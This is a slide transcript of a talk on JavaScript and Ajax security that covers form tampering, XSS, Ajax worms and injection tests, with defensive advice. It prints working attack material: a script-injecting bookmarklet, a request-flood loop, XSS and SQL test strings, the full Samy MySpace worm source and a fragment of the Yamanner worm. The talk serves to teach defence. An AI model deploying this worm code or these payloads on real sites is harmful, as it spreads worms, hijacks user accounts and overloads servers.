Pascarello_Investigating JavaScript and Ajax Security

Loading...

Flash Player 9 (or above) is needed to view presentations.
We have detected that you do not have it on your computer. To install it, go here.

0 comments

Post a comment

    Post a comment
    Embed Video
    Edit your comment Cancel

    7 Favorites

    Pascarello_Investigating JavaScript and Ajax Security - Presentation Transcript

    1. Investigating JavaScript and Ajax Security Presented By: Eric Pascarello
    2. Background on Eric Pascarello
      • Author of:
        • Ajax In Action [Manning]
        • JavaScript: Your visual blueprint for building dynamic Web pages (2 nd ed) [Wiley]
      • HTML and JavaScript Moderator at JavaRanch.com since 2001
      • Developer at Market10.com
      • Perform talks on Ajax around the world.
    3. What we are going to investigate
      • Ajax Model
      • Classic Postback Model
      • Form Hacks
      • XSS - JavaScript Injection
      • Ajax Worms
      • Other Injections
    4. One thing everyone must do: Use Common Sense!
    5. What is Ajax exactly?
    6. Quick Intro to Ajax
      • Ajax is Asynchronous JavaScript and XML
      • Coined by Jesse James Garrett of Adaptive Path
      • Not a language!
      • Uses JavaScript on the client and any Language on the Server
    7. Ajax Security Makes a lot of news because of:
      • Inexperienced developers working with technologies they do not understand!
        • PHP + FREE SERVERS + MySQL + AJAX = BIG SECURITY HOLES
        • JavaScript:
          • The Cutting Edge Technology of Ctrl-C and Ctrl-V
      • Tutorials, Articles, and Books skipping the security aspect.
      • Tons of High Profile Websites using it!
    8. Adaptive Path’s Original Diagram
    9. The Real Life Diagram Of Ajax How to explain Ajax to your non-geek friends
      • THE COLLEGE PARTY
    10. The Bleak Situation
    11. The Non-Ajax Solution
      • Figure out what is more important and rank order of operation.
      • Should I clean the mess, get food, or update the outdated music collection?
      • Perform one task and do the others after each other. Hopefully I have enough time!
        • Go to Store, Download Music, Clean Apartment so it can be trashed again.
    12. The Ajax Solution
      • Do multiple things at once!
      • Hire a maid to do the cleaning!
      • Order delivery pizza!
      • And I can download new music while others do the dirty work! Ajax Clean!
    13. The “Ajax Engine”
      • The XMLHttpRequest Object
        • Allows us to send information server without post backs
        • Makes the request and receives the data back
        • Can be asynchronous or synchronous
      • Same Domain Policy
        • Can not make requests to other domains
    14. The XHR Object
      • The Gecko / Safari / IE7 Object Constructor
        • req = new XMLHttpRequest();
      • The ActiveX for IE 5 to IE 6
        • req = new ActiveXObject("Microsoft.XMLHTTP");
      • OR
        • req = new ActiveXObject("Msxml2.XMLHTTP");
    15. XHR Object Methods Assigns header to be sent with a request setRequestHeader("label", "value") Transmits the request send(content) The heart and soul! Sets destination URL, method, and other optional attributes open("method", "URL"[, asyncFlag[, "userName"[, "password"]]]) Returns value of a specified header label getResponseHeader("headerLabel") Returns all header (labels/value) sets getAllResponseHeaders() Stops the current request abort() Description Method
    16. XHR open()
      • open("method", "URL", asyncFlag); method = GET or POST
      • URL = Page to request
      • asyncFlag = True or False
    17. send(parameters)
      • Send is like clicking the submit button on a form.
      • The parameters should be set to null or empty string if you are not posting any information.
      • If you are posting, the name/value pairs should look like a querystring without the question mark.
        • req.send("foo=bar&ajax=123");
      • If you are using GET, append the values to the URL in the open method.
        • Remember GET has a size limitation.
      • If you want to send information, you have to add it manually.
        • No free ride like a form!
    18. XHR Object Properties String message accompanying the status code statusText Numeric code returned by server, such as 404 for "Not Found" or 200 for "OK" status DOM-compatible document object of data returned from server process responseXML String version of data returned from server process responseText Object status integer readyState Event handler for an event that fires at every state change onreadystatechange Description Property
    19. onreadystatechange
      • The objects only event handler.
      • It is fired only when in asynchronous mode
        • 3 rd parameter is set to true in the open method
      • It is fired a total of 4 times.
      • We can assign a reference to a function or build a anonymous function to it
        • req.onreadystatechange = functionName;
        • req.onreadystatechange = function(){ //statements }
    20. readyState values
      • 0 - Uninitialized
        • The initial value when new reference to Object is created
      • 1 - Open
        • The open() method has been successfully called.
      • 2 - Sent
        • The request made it, but no data has yet been received.
      • 3 - Receiving
        • All HTTP headers have been received.
        • Value set right before receiving the message body
      • 4 - Loaded
        • The data transfer has been completed.
        • We can now play with the data!
    21. status
      • We are looking for a value of 200
      • If you are working on the file protocol
      • (eg: local disk not on a web server) than you are looking for a value of 0 [zero]).
      • Yes the XMLHttpRequest object can be run off of the Active Desktop.
      • Can be read when readyState = 4
    22. Basic Example of code
      • var req = GetXHRObject();
      • req.open("POST", "secure.aspx", true);
      • req.onreadystatechange = finishRequest;
      • req.send("foo=bar&ajax=123");
      • BasicExample1.html
    23. I CAN VIEW THE SOURCE
      • I can see the page that it is requesting from the JavaScript code!
      • I can see the parameters being sent!
      • I can see the validation!
      • I can see the Business Logic!
      • I can rule the world!
    24. Before We Surrender to Fear
      • Let us look at the classic postback
      • and Ajax models in detail
    25. What is Different?
      • Ajax POST
      • var req = GetXHRObject();
      • req.open("POST", "secure.php", true);
      • req.onreadystatechange = finishRequest;
      • req.send("foo=bar&ajax=123");
      • Regular Form POST
      • <form action=&quot;secure.php&quot; method=&quot;POST&quot;>
      • <input type=&quot;text&quot; name=&quot;foo&quot; value=&quot;bar&quot;>
      • <input type=&quot;hidden&quot; name=&quot;ajax&quot; value=&quot;123&quot;>
      • <input type=&quot;submit&quot; name=&quot;sub1&quot;>
      • </form>
    26. A Web 2.0 Web Site
    27. Major Cause Of Security Concerns
      • Ajax model uses WebServices
        • Legacy or New
        • Return HTML/TEXT/JSON/XML/ETC
      • More Ajax Functionality = More WebServices = More places to attack
        • Just need to forget one thing to make a new hole
      • Yes you can use the XMLHttpRequest Object to make requests without the users knowledge.
        • We can also use images, iframes, frames, popup windows.
    28. Major Cause Of Security Concerns
      • Business Logic
      • Building Proxy Services to talk to outside domains
      • Displaying User Content
        • Tags, forums, blogs, comments, etc
    29. Grandma is a Hacker
      • Everyone is giving you bad data.
      • Everyone is trying to hack you
      • Everyone wants to cause a DOS attack on your server!
      • VALIDATE ON THE SERVER!
    30. Business Logic Security
      • JavaScript is basically open source.
      • Use JavaScript as the rendering Engine
      • Validate the info on the server!
        • Use ClientSide validation as a mechanism to save user time and bandwidth
      • JavaScript Obfuscation is easily reversed! Don’t waste your money!
    31. The First Get Some Common Sense Award Goes To:
      • A tutorial on Ajax to display data into a textarea
      • function getOnlineClass()
      • {
      • var url = 'http://localhost/MyOnlineClass?sql=SELECT* from LOP FOR XML AUTO &root=DSLOP';
      • http.open(&quot;GET&quot;, url, true);
      • http.onreadystatechange = useHttpResponse;
      • http.send(null);
      • }
      • I wish I would have made this up!
    32. So You Think Your Form Is Safe?
      • Example
      • Address bar is our friend for reckoning havoc!
      • javascript:yourStatements;void(0);
      • Add an external JavaScript file!
        • javascript:var a=document.createElement(&quot;script&quot;);a.src=&quot;http://url/foo.js&quot;;document.body.appendChild(a);void(0);
    33. Hidden Fields Are Editable?
      • The Bookmarklet and the Example
      • Bookmarklets makes it easy to execute code instead of manually adding it to the address bar.
      • What is a bookmarklet?
        • JavaScript statement(s) stored in a favorites link!
      • How can I do this? Create a link on a webpage, save the page, open it, right click on the link, add to favorites.
        • <a href=&quot;javascript:alert(new Date());void(0);&quot;>Show Time</a>
    34. Who Needs ServerSide Validation When We Have ClientSide Checks?
      • Example
      • Why waste time disabling JavaScript when we can just override the annoying function!
      • Set event handlers, functions, variables from status bar!
    35. Simple Scripted Attacks On A Server
      • var req = new Array();
      • for(var i = 0; i<1000; i++){
      • req[i] = GetXHRObject();
      • req[i].open(&quot;POST&quot;, &quot;secure.aspx&quot;, true);
      • req[i].onreadystatechange = function(){};
      • req[i].send(&quot;foo=&quot; + i);
      • }
    36. Is This A Vulnerability? YES or NO
    37. What is your browser telling others about you?
      • The advertisers dream, the health insurance companies dream, your snooping boss’s dream JavaScript.
      • The links are telling us where we have been!
      • Example : Is it a vulnerability or a feature?
    38. So with some JavaScript we can test where you been
      • Targeted Advertising for geeks, gamers, pet owners, sports fans, porn lovers, etc.
      • Medical Privacy: Look to see if you been on Cancer Sites, looking at sites on Heart conditions, etc.
      • Your Company can check to see if you are doing online shopping without installing loggers!
      • Scan for Google Searches
        • Only Problem: caps matter!
          • http://www.google.com/search?q=Eric+Pascarello
          • http://www.google.com/search?q=eric+pascarello
    39. Let Us Now Look AT XSS
      • Cross Site Scripting (XSS) allows for malicious people to inject HTML, JavaScript, PHP, PERL, CSS, etc. into a Web page.
      • Gets around same domain policy
      • Allow injection of browser vulnerability code
      • Allows for people to steal information
      • Can create real annoying for-loop alert attacks!
    40. The Second Get Some Common Sense Award Goes To:
      • Ask.com
      • They allow you to save your preference settings on their site with a form. Problem is it is a GET!
      • http://www.ask.com/webprefs?addr1=&addr2=& qsrc =106&pu=100&padlt=1&pcn= FR&psave = Save+my+settings
      • The link will change the settings on their site to show 100 results, change the adult filter, country, etc.
      • Don’t update settings with GET
      • Set a hidden iFrame/image with this URL and you can change everyone’s settings that come to your web site.
      • The Google Toolbar used to has this same problem when it was first implemented!
    41. Biggest Offenders in XSS
      • Web Pages that use
        • Search Pages
        • Guestbooks
        • RSS Readers
        • Blog Comments
        • Web based chat/games
        • Error Pages
      • Anywhere user can insert data and it is redisplayed back without removing the escaping the user’s input!
      • Example Time with a Popular Website’s Search! (link not included!)
    42. Test For JavaScript Injection
      • Step 1: type in <script>alert(&quot;hi&quot;);</script> into any field on a page.
      • Step 2: Submit the page
      • Step 3: If you see the alert, you got success! If no alert continue
      • Step 4: View Source of Page and look for the code you added
      • Step 5: See if they are escaping everything correctly.
      • Step 6: Try the injections on the next slide
    43. Cross Site Scripting Cheat Sheet Esp: for filter evasion
      • http://ha.ckers.org/xss.html
      • Website has a long list of ways to get past filters.
      • Spend some time and go through the list!
    44. Combine Visited Links with XSS
      • So lets say we have a list of XSS hacks we know about. Lets say Bank MoneyBags has a XSS hole.
      • A surfer checks their balance at BankMoneyBags.com and did not sign out. He just surfed away.
      • The Surfer Went to site where this visited links code was.
      • Positive match was found for the Bank link, XSS link is fired into iFrame / pop-up window / image.
      • And the money is now in a Swiss Account!
    45. What can be done?
      • Add key listeners and send data to outside servers.
      • Change user names, passwords, preferences
      • Sniff out and steal sensitive data
      • Annoy users with infinite alert loops!
      • Send email
      • Add posts to forms
      • How much damage can Ajax plus XSS? We are talking about JavaScript!
    46. Real Life JavaScript Injections with Ajax!
      • Samy [ http:// en.wikipedia.org/wiki/Samy_(XSS ) ]
        • MySpace.com
        • Ajax based worm that added user to friend’s list
        • October 4, 2005
        • 20 Hours
        • Over 1 million users had been effected
        • Flaw was based on CSS background image
    47. The code of Samy
      • <div id=mycode style=&quot;BACKGROUND: url('java script:eval(document.all.mycode.expr)')&quot; expr=&quot;var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}&quot;></DIV>
    48. Samy Injection Highlight
      • <div id=mycode style=&quot;BACKGROUND: url('java script:eval(document.all.mycode.expr)')&quot; expr=&quot;var B=String.fromCharCode(34
      • This injection is listed on http://ha.ckers.org/xss.html (Scroll past the halfway point on the page to see it!)
    49. Yahoo gets attacked!
      • Yamanner [ http:// en.wikipedia.org/wiki/Yamanner ]
        • Yahoo! Mail worm
        • June 12, 2006
        • Sent users address book to remote server
        • <img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' target=&quot;&quot;onload=&quot;var http_request = false;
        • Have link to full code on my blog: http://radio.javaranch.com/pascarello/2006/06/13/1150210232222.html
    50. JavaScript Port Scanning?
      • JavaScript Port Scanning can be done!
        • http:// www.spidynamics.com/assets/documents/JSportscan.pdf
      • General Summary From White Paper
        • Code gets injected into intranet web page
        • Every Server Installation has default images
        • JavaScript scans IP ranges for defaults
        • If image has width/height, we know the server type, and IP address.
        • Post data back to outside server
    51. JSON Injection
      • JavaScript Object Notation (normally preferred over XML format)
      • Can bypass the Cross Site Scripting Restrictions
      • http://www.pascarello.com/examples/JsonYahooExample.html
      • Problem with this: Code is eval()/injected onto page to make it usable for JavaScript.
        • Have to trust your source they do not embed other code!
        • Preferred method is to loop through the data.
        • Check out JSON.org for more information!
    52. Other Injections
      • SQL Injection
        • Quick test in an URL insert ' to the querystring and see if you get an error message! …com?ID=314'159
      • CSS Injection
        • Change the cached CSS file on the local machine! Screw with your friends that Digg is now pink! Hide the log in fields, move elements around!
      • XML/SOAP
        • Page can be loaded with bad data or data can be sent with bad data to the server!
      • DOM Injection
        • Additional elements can be added, removed, changed, etc.
      • Cookies
        • Delete, Add, Change, and see what happens to the sessions!
    53. Same Domain Policy Workaround: Proxy!
    54. What is bad about this?
      • Inject JavaScript code onto page.
        • Free data mining service with unlimited access!
        • Most proxy services have limited access unless you have good relations!
      • DOS service attacks
        • Remember that Ajax For Loop making requests!
        • DOS the site, proxy thinks that the server is attacking them.
        • Rest of users on site lose the functionality
    55. Other Tools
      • Firefox Extensions
        • Firebug – view the XMLHttpRequests
        • Selenium – Record scripts and replay them!
        • JSView – See All JavaScript/CSS with a click
        • Modify Headers – (what the name implies!)
        • NoScript – Turn off or limit scripts
      • Fiddler and other Proxys– Watch all traffic
    56. Quick Summary
      • Ajax Adds more attack vectors
      • Do what you always done on the server!
        • Keep the business logic on the server
        • Validate on the server
          • White List / Blacklist
        • Check/Remove Injections
      • Remember that Proxys can be abused!
      • Use Common Sense
    57. Questions
      • Email: [email_address]
      • Blog: http:// radio.javaranch.com/pascarello
      • Forums: http://saloon.JavaRanch.com
      • Ajax In Action: http://www.manning.com/crane
      • Need a Job? http://www.market10.com

    + amiable_indianamiable_indian, 4 years ago

    custom

    8081 views, 7 favs, 3 embeds more stats

    Investigating JavaScript and Ajax Security

    More info about this document

    © All Rights Reserved

    Go to text version

    • Total Views 8081
      • 8072 on SlideShare
      • 9 from embeds
    • Comments 0
    • Favorites 7
    • Downloads 0
    Most viewed embeds
    • 6 views on http://www.secguru.com
    • 2 views on http://joseanpg.net
    • 1 views on http://s3.amazonaws.com

    more

    All embeds
    • 6 views on http://www.secguru.com
    • 2 views on http://joseanpg.net
    • 1 views on http://s3.amazonaws.com

    less

    Flagged as inappropriate Flag as inappropriate
    Flag as inappropriate

    Select your reason for flagging this presentation as inappropriate. If needed, use the feedback form to let us know more details.

    Cancel
    File a copyright complaint
    Having problems? Go to our helpdesk?

    Categories